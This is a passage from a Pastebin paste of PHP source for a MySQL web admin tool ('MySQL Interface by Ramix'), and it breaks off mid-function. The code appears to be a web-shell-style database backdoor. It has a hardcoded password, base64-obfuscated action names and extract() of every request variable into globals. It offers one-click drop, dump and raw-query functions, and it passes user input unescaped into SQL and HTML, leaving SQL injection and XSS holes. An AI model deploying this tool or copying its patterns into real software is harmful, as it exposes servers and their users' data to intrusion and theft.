Advertisement
Z3R089

mysql.php

Jun 12th, 2014
238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 41.06 KB | None | 0 0
  1. <?
  2. $PASSWORD = "tryag_vb";
  3. $USERNAME = "102030";
  4.  
  5. if ( function_exists('ini_get') ) {
  6.     $onoff = ini_get('register_globals');
  7. } else {
  8.     $onoff = get_cfg_var('register_globals');
  9. }
  10. if ($onoff != 1) {
  11.     @extract($HTTP_SERVER_VARS, EXTR_SKIP);
  12.     @extract($HTTP_COOKIE_VARS, EXTR_SKIP);
  13.     @extract($HTTP_POST_FILES, EXTR_SKIP);
  14.     @extract($HTTP_POST_VARS, EXTR_SKIP);
  15.     @extract($HTTP_GET_VARS, EXTR_SKIP);
  16.     @extract($HTTP_ENV_VARS, EXTR_SKIP);
  17. }
  18.  
  19. function logon() {
  20.     global $PHP_SELF;
  21.     setcookie( "mysql_web_admin_username" );
  22.     setcookie( "mysql_web_admin_password" );
  23.     setcookie( "mysql_web_admin_hostname" );
  24.     echo "<table width=100% height=100%><tr><td><center>\n";
  25.     echo "<table cellpadding=2><tr><td><center>\n";
  26.     echo "<table cellpadding=20><tr><td><center>\n";
  27.     echo "<h1>MySQL Interface by Ramix</h1>\n";
  28.         echo "<h2>Marinecyber.com</h2>\n";
  29.     echo "<form action='$PHP_SELF'>\n";
  30.     echo "<input type=hidden name=action value=bG9nb25fc3VibWl0>\n";
  31.     echo "<table cellpadding=5 cellspacing=1>\n";
  32.     echo "<tr><td>Hostname </td><td> <input type=text name=hostname value='localhost'></td></tr>\n";
  33.     echo "<tr><td>Username </td><td> <input type=text name=username></td></tr>\n";
  34.     echo "<tr><td>Password </td><td> <input type=password name=password></td></tr>\n";
  35.     echo "</table><p>\n";
  36.     echo "<input type=submit value='Entrar'>\n";
  37.     echo "<input type=reset value='Borrar'><br>\n";
  38.     echo "</form>\n";
  39.     echo "</center></td></tr></table>\n";
  40.     echo "</center></td></tr></table>\n";
  41.     echo "<p><hr width=300>\n";
  42.     echo "</center></td></tr></table>\n";
  43. }
  44.  
  45. function logon_submit() {
  46.     global $username, $password, $hostname ,$PHP_SELF;
  47.     if($hostname =='')
  48.         $hostname = 'localhost';
  49.     setcookie( "mysql_web_admin_username", $username );
  50.     setcookie( "mysql_web_admin_password", $password );
  51.     setcookie( "mysql_web_admin_hostname", $hostname );
  52.     echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=bGlzdERCcw=='>";
  53.  
  54. }
  55.  
  56. function echoQueryResult() {
  57.     global $queryStr, $errMsg;
  58.  
  59.     if( $errMsg == "" ) $errMsg = "Success";
  60.     if( $queryStr != "" ) {
  61.         echo "<table cellpadding=5>\n";
  62.         echo "<tr><td>Query</td><td>$queryStr</td></tr>\n";
  63.         echo "<tr><td>Result</td><td>$errMsg</td></tr>\n";
  64.         echo "</table><p>\n";
  65.     }
  66. }
  67.  
  68. function listDatabases() {
  69.     global $mysqlHandle, $PHP_SELF;
  70.  
  71.     echo "<h1>Databases List</h1>\n";
  72.  
  73.     echo "<form action='$PHP_SELF'>\n";
  74.     echo "<input type=hidden name=action value=createDB>\n";
  75.     echo "<input type=text name=dbname>\n";
  76.     echo "<input type=submit value='Create Database'>\n";
  77.     echo "</form>\n";
  78.     echo "<hr>\n";
  79.  
  80.     echo "<table cellspacing=1 cellpadding=5>\n";
  81.  
  82.     $pDB = mysql_list_dbs( $mysqlHandle );
  83.     $num = mysql_num_rows( $pDB );
  84.     for( $i = 0; $i < $num; $i++ ) {
  85.         $dbname = mysql_dbname( $pDB, $i );
  86.         echo "<tr>\n";
  87.         echo "<td>$dbname</td>\n";
  88.         echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Tables</a></td>\n";
  89.         echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n";
  90.         echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
  91.         echo "</tr>\n";
  92.     }
  93.     echo "</table>\n";
  94. }
  95.  
  96. function createDatabase() {
  97.     global $mysqlHandle, $dbname, $PHP_SELF;
  98.  
  99.     mysql_create_db( $dbname, $mysqlHandle );
  100.     listDatabases();
  101. }
  102.  
  103. function dropDatabase() {
  104.     global $mysqlHandle, $dbname, $PHP_SELF;
  105.  
  106.     mysql_drop_db( $dbname, $mysqlHandle );
  107.     listDatabases();
  108. }
  109.  
  110. function listTables() {
  111.     global $mysqlHandle, $dbname, $PHP_SELF;
  112.  
  113.  
  114.     echo "<h1>Tables List</h1>\n";
  115.     echo "<p class=location>$dbname</p>\n";
  116.     echoQueryResult();
  117.     echo "<form action='$PHP_SELF'>\n";
  118.     echo "<input type=hidden name=action value=createTable>\n";
  119.     echo "<input type=hidden name=dbname value=$dbname>\n";
  120.     echo "<input type=text name=tablename>\n";
  121.     echo "<input type=submit value='Create Table'>\n";
  122.     echo "</form>\n";
  123.     echo "<form action='$PHP_SELF'>\n";
  124.     echo "<input type=hidden name=action value=query>\n";
  125.     echo "<input type=hidden name=dbname value=$dbname>\n";
  126.     echo "<input type=text size=120 name=queryStr>\n";
  127.     echo "<input type=submit value='Query'>\n";
  128.     echo "</form>\n";
  129.     echo "<hr>\n";
  130.  
  131.     $pTable = mysql_list_tables( $dbname );
  132.  
  133.     if( $pTable == 0 ) {
  134.         $msg  = mysql_error();
  135.         echo "<h3>Error : $msg</h3><p>\n";
  136.         return;
  137.     }
  138.     $num = mysql_num_rows( $pTable );
  139.  
  140.     echo "<table cellspacing=1 cellpadding=5>\n";
  141.  
  142.     for( $i = 0; $i < $num; $i++ ) {
  143.         $tablename = mysql_tablename( $pTable, $i );
  144.  
  145.         echo "<tr>\n";
  146.         echo "<td>\n";
  147.         echo "$tablename\n";
  148.         echo "</td>\n";
  149.         echo "<td>\n";
  150.         echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  151.         echo "</td>\n";
  152.         echo "<td>\n";
  153.         echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename'>Data</a>\n";
  154.         echo "</td>\n";
  155.         echo "<td>\n";
  156.         echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Table \'$tablename\'?')\">Drop</a>\n";
  157.         echo "</td>\n";
  158.         echo "<td>\n";
  159.         echo "<a href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Dump Table \'$tablename\'?')\">Dump</a>\n";
  160.         echo "</td>\n";
  161.         echo "</tr>\n";
  162.     }
  163.  
  164.     echo "</table>";
  165. }
  166.  
  167. function createTable() {
  168.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  169.  
  170.     $queryStr = "CREATE TABLE $tablename ( no INT )";
  171.     mysql_select_db( $dbname, $mysqlHandle );
  172.     mysql_query( $queryStr, $mysqlHandle );
  173.     $errMsg = mysql_error();
  174.  
  175.     listTables();
  176. }
  177.  
  178. function dropTable() {
  179.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  180.  
  181.     $queryStr = "DROP TABLE $tablename";
  182.     mysql_select_db( $dbname, $mysqlHandle );
  183.     mysql_query( $queryStr, $mysqlHandle );
  184.     $errMsg = mysql_error();
  185.  
  186.     listTables();
  187. }
  188.  
  189. function viewSchema() {
  190.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
  191.  
  192.     echo "<h1>Table Schema</h1>\n";
  193.     echo "<p class=location>$dbname &gt; $tablename</p>\n";
  194.  
  195.     echoQueryResult();
  196.  
  197.     echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add Field</a> | \n";
  198.     echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename'>View Data</a>\n";
  199.     echo "<hr>\n";
  200.  
  201.     $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  202.     $num = mysql_num_rows( $pResult );
  203.  
  204.     echo "<table cellspacing=1 cellpadding=5>\n";
  205.     echo "<tr>\n";
  206.     echo "<th>Field</th>\n";
  207.     echo "<th>Type</th>\n";
  208.     echo "<th>Null</th>\n";
  209.     echo "<th>Key</th>\n";
  210.     echo "<th>Default</th>\n";
  211.     echo "<th>Extra</th>\n";
  212.     echo "<th colspan=2>Action</th>\n";
  213.     echo "</tr>\n";
  214.  
  215.  
  216.     for( $i = 0; $i < $num; $i++ ) {
  217.         $field = mysql_fetch_array( $pResult );
  218.         echo "<tr>\n";
  219.         echo "<td>".$field["Field"]."</td>\n";
  220.         echo "<td>".$field["Type"]."</td>\n";
  221.         echo "<td>".$field["Null"]."</td>\n";
  222.         echo "<td>".$field["Key"]."</td>\n";
  223.         echo "<td>".$field["Default"]."</td>\n";
  224.         echo "<td>".$field["Extra"]."</td>\n";
  225.         $fieldname = $field["Field"];
  226.         echo "<td><a href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n";
  227.         echo "<td><a href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";
  228.         echo "</tr>\n";
  229.     }
  230.     echo "</table>\n";
  231.  
  232. }
  233.  
  234. function manageField( $cmd ) {
  235.     global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;
  236.  
  237.     if( $cmd == "add" )
  238.         echo "<h1>Add Field</h1>\n";
  239.     else if( $cmd == "edit" ) {
  240.         echo "<h1>Edit Field</h1>\n";
  241.         $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  242.         $num = mysql_num_rows( $pResult );
  243.         for( $i = 0; $i < $num; $i++ ) {
  244.             $field = mysql_fetch_array( $pResult );
  245.             if( $field["Field"] == $fieldname ) {
  246.                 $fieldtype = $field["Type"];
  247.                 $fieldkey = $field["Key"];
  248.                 $fieldextra = $field["Extra"];
  249.                 $fieldnull = $field["Null"];
  250.                 $fielddefault = $field["Default"];
  251.                 break;
  252.             }
  253.         }
  254.         $type = strtok( $fieldtype, " (,)\n" );
  255.         if( strpos( $fieldtype, "(" ) ) {
  256.             if( $type == "enum" | $type == "set" ) {
  257.                 $valuelist = strtok( " ()\n" );
  258.             } else {
  259.                 $M = strtok( " (,)\n" );
  260.                 if( strpos( $fieldtype, "," ) )
  261.                     $D = strtok( " (,)\n" );
  262.             }
  263.         }
  264.     }
  265.  
  266.     echo "<p class=location>$dbname &gt; $tablename</p>\n";
  267.     echo "<form action=$PHP_SELF>\n";
  268.  
  269.     if( $cmd == "add" )
  270.         echo "<input type=hidden name=action value=addField_submit>\n";
  271.     else if( $cmd == "edit" ) {
  272.         echo "<input type=hidden name=action value=editField_submit>\n";
  273.         echo "<input type=hidden name=old_name value=$fieldname>\n";
  274.     }
  275.     echo "<input type=hidden name=dbname value=$dbname>\n";
  276.     echo "<input type=hidden name=tablename value=$tablename>\n";
  277.  
  278.     echo "<h3>Name</h3>\n";
  279.     echo "<input type=text name=name value=$fieldname><p>\n";
  280.     echo '
  281.  
  282. <h3>Type</h3>
  283.  
  284. <font size=2>
  285. * `M\' indicates the maximum display size.<br>
  286. * `D\' applies to floating-point types and indicates the number of digits following the decimal point.<br>
  287. </font>
  288.  
  289. <table>
  290. <tr>
  291. <th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th>
  292. </tr>
  293. <tr>
  294. <td><input type=radio name=type value="TINYINT" '; if( $type == "tinyint" ) echo "checked";echo '>TINYINT (-128 ~ 127)</td>
  295. <td align=center>O</td>
  296. <td>&nbsp</td>
  297. <td align=center>O</td>
  298. <td align=center>O</td>
  299. <td>&nbsp</td>
  300. </tr>
  301. <tr>
  302. <td><input type=radio name=type value="SMALLINT" '; if( $type == "smallint" ) echo "checked";echo '>SMALLINT (-32768 ~ 32767)</td>
  303. <td align=center>O</td>
  304. <td>&nbsp</td>
  305. <td align=center>O</td>
  306. <td align=center>O</td>
  307. <td>&nbsp</td>
  308. </tr>
  309. <tr>
  310. <td><input type=radio name=type value="MEDIUMINT" '; if( $type == "mediumint" ) echo "checked";echo '>MEDIUMINT (-8388608 ~ 8388607)</td>
  311.  
  312. <td align=center>O</td>
  313. <td>&nbsp</td>
  314. <td align=center>O</td>
  315. <td align=center>O</td>
  316. <td>&nbsp</td>
  317. </tr>
  318. <tr>
  319. <td><input type=radio name=type value="INT" '; if( $type == "int" ) echo "checked";echo '>INT (-2147483648 ~ 2147483647)</td>
  320. <td align=center>O</td>
  321. <td>&nbsp</td>
  322. <td align=center>O</td>
  323. <td align=center>O</td>
  324. <td>&nbsp</td>
  325. </tr>
  326. <tr>
  327. <td><input type=radio name=type value="BIGINT" '; if( $type == "bigint" ) echo "checked";echo '>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>
  328. <td align=center>O</td>
  329. <td>&nbsp</td>
  330. <td align=center>O</td>
  331. <td align=center>O</td>
  332. <td>&nbsp</td>
  333. </tr>
  334. <tr>
  335. <td><input type=radio name=type value="FLOAT" '; if( $type == "float" ) echo "checked";echo '>FLOAT</td>
  336. <td align=center>O</td>
  337. <td align=center>O</td>
  338. <td>&nbsp</td>
  339. <td align=center>O</td>
  340. <td>&nbsp</td>
  341. </tr>
  342. <tr>
  343. <td><input type=radio name=type value="DOUBLE" '; if( $type == "double" ) echo "checked";echo '>DOUBLE</td>
  344. <td align=center>O</td>
  345. <td align=center>O</td>
  346. <td>&nbsp</td>
  347. <td align=center>O</td>
  348. <td>&nbsp</td>
  349. </tr>
  350. <tr>
  351. <td><input type=radio name=type value="DECIMAL" '; if( $type == "decimal" ) echo "checked";echo '>DECIMAL(NUMERIC)</td>
  352. <td align=center>O</td>
  353. <td align=center>O</td>
  354. <td>&nbsp</td>
  355. <td align=center>O</td>
  356. <td>&nbsp</td>
  357. </tr>
  358. <tr>
  359. <td><input type=radio name=type value="DATE" '; if( $type == "date" ) echo "checked";echo '>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>
  360. <td>&nbsp</td>
  361. <td>&nbsp</td>
  362. <td>&nbsp</td>
  363. <td>&nbsp</td>
  364. <td>&nbsp</td>
  365. </tr>
  366. <tr>
  367. <td><input type=radio name=type value="DATETIME" '; if( $type == "datetime" ) echo "checked";echo '>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>
  368. <td>&nbsp</td>
  369. <td>&nbsp</td>
  370. <td>&nbsp</td>
  371. <td>&nbsp</td>
  372. <td>&nbsp</td>
  373. </tr>
  374. <tr>
  375. <td><input type=radio name=type value="TIMESTAMP" '; if( $type == "timestamp" ) echo "checked";echo '>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>
  376. <td align=center>O</td>
  377. <td>&nbsp</td>
  378. <td>&nbsp</td>
  379. <td>&nbsp</td>
  380. <td>&nbsp</td>
  381. </tr>
  382. <tr>
  383. <td><input type=radio name=type value="TIME" '; if( $type == "time" ) echo "checked";echo '>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>
  384. <td>&nbsp</td>
  385. <td>&nbsp</td>
  386. <td>&nbsp</td>
  387. <td>&nbsp</td>
  388. <td>&nbsp</td>
  389. </tr>
  390. <tr>
  391. <td><input type=radio name=type value="YEAR" '; if( $type == "year" ) echo "checked";echo '>YEAR (1901 ~ 2155, 0000, YYYY)</td>
  392. <td>&nbsp</td>
  393. <td>&nbsp</td>
  394. <td>&nbsp</td>
  395. <td>&nbsp</td>
  396. <td>&nbsp</td>
  397. </tr>
  398. <tr>
  399. <td><input type=radio name=type value="CHAR" '; if( $type == "char" ) echo "checked";echo '>CHAR</td>
  400. <td align=center>O</td>
  401. <td>&nbsp</td>
  402. <td>&nbsp</td>
  403. <td>&nbsp</td>
  404. <td align=center>O</td>
  405. </tr>
  406. <tr>
  407. <td><input type=radio name=type value="VARCHAR" '; if( $type == "varchar" ) echo "checked";echo '>VARCHAR</td>
  408. <td align=center>O</td>
  409. <td>&nbsp</td>
  410. <td>&nbsp</td>
  411. <td>&nbsp</td>
  412. <td align=center>O</td>
  413. </tr>
  414. <tr>
  415. <td><input type=radio name=type value="TINYTEXT" '; if( $type == "tinytext" ) echo "checked";echo '>TINYTEXT (0 ~ 255)</td>
  416. <td>&nbsp</td>
  417. <td>&nbsp</td>
  418. <td>&nbsp</td>
  419. <td>&nbsp</td>
  420. <td>&nbsp</td>
  421. </tr>
  422. <tr>
  423. <td><input type=radio name=type value="TEXT" '; if( $type == "text" ) echo "checked";echo '>TEXT (0 ~ 65535)</td>
  424. <td>&nbsp</td>
  425. <td>&nbsp</td>
  426. <td>&nbsp</td>
  427. <td>&nbsp</td>
  428. <td>&nbsp</td>
  429. </tr>
  430. <tr>
  431. <td><input type=radio name=type value="MEDIUMTEXT" '; if( $type == "mediumtext" ) echo "checked";echo '>MEDIUMTEXT (0 ~ 16777215)</td>
  432. <td>&nbsp</td>
  433. <td>&nbsp</td>
  434. <td>&nbsp</td>
  435. <td>&nbsp</td>
  436. <td>&nbsp</td>
  437. </tr>
  438. <tr>
  439. <td><input type=radio name=type value="LONGTEXT" '; if( $type == "longtext" ) echo "checked";echo '>LONGTEXT (0 ~ 4294967295)</td>
  440. <td>&nbsp</td>
  441. <td>&nbsp</td>
  442. <td>&nbsp</td>
  443. <td>&nbsp</td>
  444. <td>&nbsp</td>
  445. </tr>
  446. <tr>
  447. <td><input type=radio name=type value="TINYBLOB" '; if( $type == "tinyblob" ) echo "checked";echo '>TINYBLOB (0 ~ 255)</td>
  448. <td>&nbsp</td>
  449. <td>&nbsp</td>
  450. <td>&nbsp</td>
  451. <td>&nbsp</td>
  452. <td>&nbsp</td>
  453. </tr>
  454. <tr>
  455. <td><input type=radio name=type value="BLOB" '; if( $type == "blob" ) echo "checked";echo '>BLOB (0 ~ 65535)</td>
  456. <td>&nbsp</td>
  457. <td>&nbsp</td>
  458. <td>&nbsp</td>
  459. <td>&nbsp</td>
  460. <td>&nbsp</td>
  461. </tr>
  462. <tr>
  463. <td><input type=radio name=type value="MEDIUMBLOB" '; if( $type == "mediumblob" ) echo "checked";echo '>MEDIUMBLOB (0 ~ 16777215)</td>
  464. <td>&nbsp</td>
  465. <td>&nbsp</td>
  466. <td>&nbsp</td>
  467. <td>&nbsp</td>
  468. <td>&nbsp</td>
  469. </tr>
  470. <tr>
  471. <td><input type=radio name=type value="LONGBLOB" '; if( $type == "longblob" ) echo "checked";echo '>LONGBLOB (0 ~ 4294967295)</td>
  472. <td>&nbsp</td>
  473. <td>&nbsp</td>
  474. <td>&nbsp</td>
  475. <td>&nbsp</td>
  476. <td>&nbsp</td>
  477. </tr>
  478. <tr>
  479. <td><input type=radio name=type value="ENUM" '; if( $type == "enum" ) echo "checked";echo '>ENUM</td>
  480. <td colspan=5><center>value list</center></td>
  481. </tr>
  482. <tr>
  483. <td><input type=radio name=type value="SET" '; if( $type == "set" ) echo "checked";echo '>SET</td>
  484. <td colspan=5><center>value list</center></td>
  485. </tr>
  486.  
  487. </table>
  488. <table>
  489. <tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: \'apple\', \'orange\', \'banana\') </th></tr>
  490. <tr>
  491. <td align=center><input type=text size=4 name=M '; if( $M != "" ) echo "value=$M";echo '></td>
  492. <td align=center><input type=text size=4 name=D '; if( $D != "" ) echo "value=$D";echo '></td>
  493. <td align=center><input type=checkbox name=unsigned value="UNSIGNED" '; if( strpos( $fieldtype, "unsigned" ) ) echo "checked";echo '></td>
  494. <td align=center><input type=checkbox name=zerofill value="ZEROFILL" '; if( strpos( $fieldtype, "zerofill" ) ) echo "checked";echo '></td>
  495. <td align=center><input type=checkbox name=binary value="BINARY" '; if( strpos( $fieldtype, "binary" )  ) echo "checked";echo '></td>
  496. <td align=center><input type=text size=60 name=valuelist '; if( $valuelist != "" ) echo "value=\"$valuelist\"";echo '></td>
  497. </tr>
  498. </table>
  499.  
  500.  
  501. <h3>Flags</h3>
  502. <table>
  503. <tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>
  504. <tr>
  505. <td align=center><input type=checkbox name=not_null value="NOT NULL" '; if( $fieldnull != "YES" ) echo "checked";echo '></td>
  506. <td align=center><input type=text name=default_value '; if( $fielddefault != "" ) echo "value=$fielddefault";echo '></td>
  507. <td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" '; if( $fieldextra == "auto_increment" ) echo "checked";echo '></td>
  508. <td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" '; if( $fieldkey == "PRI" ) echo "checked";echo '></td>
  509. </tr>
  510. </table>
  511.  
  512. <p>';
  513.  
  514.     if( $cmd == "add" )
  515.         echo "<input type=submit value='Add Field'>\n";
  516.     else if( $cmd == "edit" )
  517.         echo "<input type=submit value='Edit Field'>\n";
  518.     echo "<input type=button value=Cancel onClick='history.back()'>\n";
  519.     echo "</form>\n";
  520. }
  521.  
  522. function manageField_submit( $cmd ) {
  523.     global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
  524.         $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;
  525.  
  526.     if( $cmd == "add" )
  527.         $queryStr = "ALTER TABLE $tablename ADD $name ";
  528.     else if( $cmd == "edit" )
  529.         $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";
  530.  
  531.     if( $M != "" )
  532.         if( $D != "" )
  533.             $queryStr .= "$type($M,$D) ";
  534.         else
  535.             $queryStr .= "$type($M) ";
  536.     else if( $valuelist != "" ) {
  537.         $valuelist = stripslashes( $valuelist );
  538.         $queryStr .= "$type($valuelist) ";
  539.     } else
  540.         $queryStr .= "$type ";
  541.  
  542.     $queryStr .= "$unsigned $zerofill $binary ";
  543.  
  544.     if( $default_value != "" )
  545.         $queryStr .= "DEFAULT '$default_value' ";
  546.  
  547.     $queryStr .= "$not_null $auto_increment";
  548.  
  549.     mysql_select_db( $dbname, $mysqlHandle );
  550.     mysql_query( $queryStr, $mysqlHandle );
  551.     $errMsg = mysql_error();
  552.  
  553.     // key change
  554.     $keyChange = false;
  555.     $result = mysql_query( "SHOW KEYS FROM $tablename" );
  556.     $primary = "";
  557.     while( $row = mysql_fetch_array($result) )
  558.         if( $row["Key_name"] == "PRIMARY" ) {
  559.             if( $row[Column_name] == $name )
  560.                 $keyChange = true;
  561.             else
  562.                 $primary .= ", $row[Column_name]";
  563.         }
  564.     if( $primary_key == "PRIMARY KEY" ) {
  565.         $primary .= ", $name";
  566.         $keyChange = !$keyChange;
  567.     }
  568.     $primary = substr( $primary, 2 );
  569.     if( $keyChange == true ) {
  570.         $q = "ALTER TABLE $tablename DROP PRIMARY KEY";
  571.         mysql_query( $q );
  572.         $queryStr .= "<br>\n" . $q;
  573.         $errMsg .= "<br>\n" . mysql_error();
  574.         $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";
  575.         mysql_query( $q );
  576.         $queryStr .= "<br>\n" . $q;
  577.         $errMsg .= "<br>\n" . mysql_error();
  578.     }
  579.  
  580.     viewSchema();
  581. }
  582.  
  583. function dropField() {
  584.     global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  585.  
  586.     $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
  587.     mysql_select_db( $dbname, $mysqlHandle );
  588.     mysql_query( $queryStr , $mysqlHandle );
  589.     $errMsg = mysql_error();
  590.  
  591.     viewSchema();
  592. }
  593.  
  594. function viewData( $queryStr ) {
  595.     global $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;
  596.  
  597.     echo "<h1>Data in Table</h1>\n";
  598.     if( $tablename != "" )
  599.         echo "<p class=location>$dbname &gt; $tablename</p>\n";
  600.     else
  601.         echo "<p class=location>$dbname</p>\n";
  602.  
  603.     $queryStr = stripslashes( $queryStr );
  604.     if( $queryStr == "" ) {
  605.         $queryStr = "SELECT * FROM $tablename";
  606.         if( $orderby != "" )
  607.             $queryStr .= " ORDER BY $orderby";
  608.         echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> | \n";
  609.         echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  610.     }
  611.  
  612.     $pResult = mysql_db_query( $dbname, $queryStr );
  613.     $fieldt = mysql_fetch_field($pResult);
  614.     $tablename = $fieldt->table;
  615.     $errMsg = mysql_error();
  616.  
  617.     $GLOBALS[queryStr] = $queryStr;
  618.  
  619.     if( $pResult == false ) {
  620.         echoQueryResult();
  621.         return;
  622.     }
  623.     if( $pResult == 1 ) {
  624.         $errMsg = "Success";
  625.         echoQueryResult();
  626.         return;
  627.     }
  628.  
  629.     echo "<hr>\n";
  630.  
  631.     $row = mysql_num_rows( $pResult );
  632.     $col = mysql_num_fields( $pResult );
  633.  
  634.     if( $row == 0 ) {
  635.         echo "No Data Exist!";
  636.         return;
  637.     }
  638.  
  639.     if( $rowperpage == "" ) $rowperpage = 30;
  640.     if( $page == "" ) $page = 0;
  641.     else $page--;
  642.     mysql_data_seek( $pResult, $page * $rowperpage );
  643.  
  644.     echo "<table cellspacing=1 cellpadding=2>\n";
  645.     echo "<tr>\n";
  646.     for( $i = 0; $i < $col; $i++ ) {
  647.         $field = mysql_fetch_field( $pResult, $i );
  648.         echo "<th>";
  649.         if($action == "dmlld0RhdGE=")
  650.             echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
  651.         else
  652.             echo $field->name."\n";
  653.         echo "</th>\n";
  654.     }
  655.     echo "<th colspan=2>Action</th>\n";
  656.     echo "</tr>\n";
  657.  
  658.     for( $i = 0; $i < $rowperpage; $i++ ) {
  659.         $rowArray = mysql_fetch_row( $pResult );
  660.         if( $rowArray == false ) break;
  661.         echo "<tr>\n";
  662.         $key = "";
  663.         for( $j = 0; $j < $col; $j++ ) {
  664.             $data = $rowArray[$j];
  665.  
  666.             $field = mysql_fetch_field( $pResult, $j );
  667.             if( $field->primary_key == 1 )
  668.                 $key .= "&" . $field->name . "=" . $data;
  669.  
  670.             if( strlen( $data ) > 30 )
  671.                 $data = substr( $data, 0, 30 ) . "...";
  672.             $data = htmlspecialchars( $data );
  673.             echo "<td>\n";
  674.             echo "$data\n";
  675.             echo "</td>\n";
  676.         }
  677.  
  678.         if( $key == "" )
  679.             echo "<td colspan=2>no Key</td>\n";
  680.         else {
  681.             echo "<td><a href='$PHP_SELF?action=editData$key&dbname=$dbname&tablename=$tablename'>Edit</a></td>\n";
  682.             echo "<td><a href='$PHP_SELF?action=deleteData$key&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
  683.         }
  684.         echo "</tr>\n";
  685.     }
  686.     echo "</table>\n";
  687.  
  688.     echo "<font size=2>\n";
  689.     if($action == "dmlld0RhdGE=")
  690.         echo "<form action='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename' method=post>\n";
  691.     else
  692.         echo "<form action='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr' method=post>\n";
  693.  
  694.     echo ($page+1)."/".(int)($row/$rowperpage+1)." page";
  695.     echo "</font>\n";
  696.     echo " | ";
  697.     if( $page > 0 ) {
  698.         if($action == "dmlld0RhdGE=")
  699.             echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&page=".($page);
  700.         else
  701.             echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page);
  702.         if( $orderby != "" && $action == "dmlld0RhdGE=")
  703.             echo "&orderby=$orderby";
  704.         echo "'>Prev</a>\n";
  705.     } else
  706.         echo "Prev";
  707.     echo " | ";
  708.     if( $page < ($row/$rowperpage)-1 ) {
  709.         if($action == "dmlld0RhdGE=")
  710.             echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&page=".($page+2);
  711.         else
  712.             echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page+2);
  713.         if( $orderby != "" && $action == "dmlld0RhdGE=")
  714.             echo "&orderby=$orderby";
  715.         echo "'>Next</a>\n";
  716.     } else
  717.         echo "Next";
  718.     echo " | ";
  719.     if( $row > $rowperpage ) {
  720.         echo "<input type=text size=4 name=page>\n";
  721.         echo "<input type=submit value='Go'>\n";
  722.     }
  723.     echo "</form>\n";
  724.     echo "</font>\n";
  725. }
  726.  
  727. function manageData( $cmd ) {
  728.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF;
  729.  
  730.     if( $cmd == "add" )
  731.         echo "<h1>Add Data</h1>\n";
  732.     else if( $cmd == "edit" ) {
  733.         echo "<h1>Edit Data</h1>\n";
  734.         $pResult = mysql_list_fields( $dbname, $tablename );
  735.         $num = mysql_num_fields( $pResult );
  736.  
  737.         $key = "";
  738.         for( $i = 0; $i < $num; $i++ ) {
  739.             $field = mysql_fetch_field( $pResult, $i );
  740.             if( $field->primary_key == 1 )
  741.                 if( $field->numeric == 1 )
